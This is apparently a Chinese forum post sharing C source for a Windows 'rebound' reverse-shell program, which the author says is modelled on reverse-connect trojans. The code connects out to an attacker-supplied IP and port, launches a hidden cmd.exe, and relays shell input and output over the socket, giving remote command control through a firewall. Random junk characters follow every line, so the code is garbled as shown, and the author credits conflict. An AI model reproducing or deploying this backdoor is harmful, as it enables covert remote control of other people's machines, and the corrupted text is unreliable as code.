这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #bG6+"g{=L
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/* ============================== 4!96k~d}
Rebound port in Windows NT R/E6n &R
By wind,2006/7 glROT@
===============================*/ cCx{
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#include A yn$,
#include TOa6sB!H
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#pragma comment(lib,"wsock32.lib") kj4=Q\Rfm
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void OutputShell(); @y * TVy
SOCKET sClient; `*kl> }$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H=Cj/jE
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void main(int argc,char **argv) '<ZHzDW@
{ kou7_4oS
WSADATA stWsaData; 8s[1-l
int nRet; ${wp}<u_
SOCKADDR_IN stSaiClient,stSaiServer; &?xmu204
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if(argc != 3) ){eQ.yW
{ L=HnVgBs
printf("Useage:\n\rRebound DestIP DestPort\n"); x`I Wo:j
return; 7D'D7=Z.
} 3a ZS1]/
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WSAStartup(MAKEWORD(2,2),&stWsaData); CS-jDok
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uT<<G)v)
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stSaiClient.sin_family = AF_INET; OqF8KJnO;
stSaiClient.sin_port = htons(0); nr}Ols
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *W,[k&;:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I=P<RG7j)
{ ,D<U PtPQ
printf("Bind Socket Failed!\n"); dmLx $8
return; !yq98I'
} q.@% H}
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stSaiServer.sin_family = AF_INET; O?A%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^si[L52BZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kFyp;=d:K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \\Q){\S
{ Cp>y<C"
printf("Connect Error!"); CW/L(RQ
return; }ALli0n`V)
} = iDd{$
OutputShell(); cc}#-HKR[
} m9&%A0
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void OutputShell() q0vZR"y
{ Vw`Q:qo0:b
char szBuff[1024]; Pv\8 \,B9
SECURITY_ATTRIBUTES stSecurityAttributes; \l
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OSVERSIONINFO stOsversionInfo; u3wd~.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bH'2iG
STARTUPINFO stStartupInfo; V U5</si+
char *szShell; zx.SRs$
PROCESS_INFORMATION stProcessInformation; v?Cakwu
unsigned long lBytesRead; b+hN\/*]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8ZCA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [*0M$4
stSecurityAttributes.lpSecurityDescriptor = 0; ) vVf- zU
stSecurityAttributes.bInheritHandle = TRUE; WQD:~*C:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h9iQn<lp4.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5tZ0zr
R?- zJ ;
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qcQq.cS_'N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X{ 6a
stStartupInfo.wShowWindow = SW_HIDE; BB(v,W
stStartupInfo.hStdInput = hReadPipe; $4)L~g|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r=AA
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GetVersionEx(&stOsversionInfo); UTN[!0[
0]=Bqyg
switch(stOsversionInfo.dwPlatformId) g)|vS>^~
{ 734n1-F?I%
case 1: "*W# z
szShell = "command.com"; e-\/1N84
break; 3MKu!
default: *n[B Bz
szShell = "cmd.exe"; 7^LCP*
break; <X1lq9 lW
} ~
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PDCb(5
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +*Uv+oC|
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send(sClient,szMsg,77,0); ~%f$}{
while(1) 3Lq9pdM>2@
{ R osU~OK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O/d]2<V
if(lBytesRead) suGd &eP|
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )EKWsGNe/
send(sClient,szBuff,lBytesRead,0); .jtv Hr}U
} qfxEo76'
else twbxi{8e.
{ &rPAW V'v
lBytesRead=recv(sClient,szBuff,1024,0); 6PS[OB{3
if(lBytesRead<=0) break; SBDGms
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FH$q,BI!R
} _G'A]O/BZD
} 6KXW]a `
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return; uGqeT#dP
}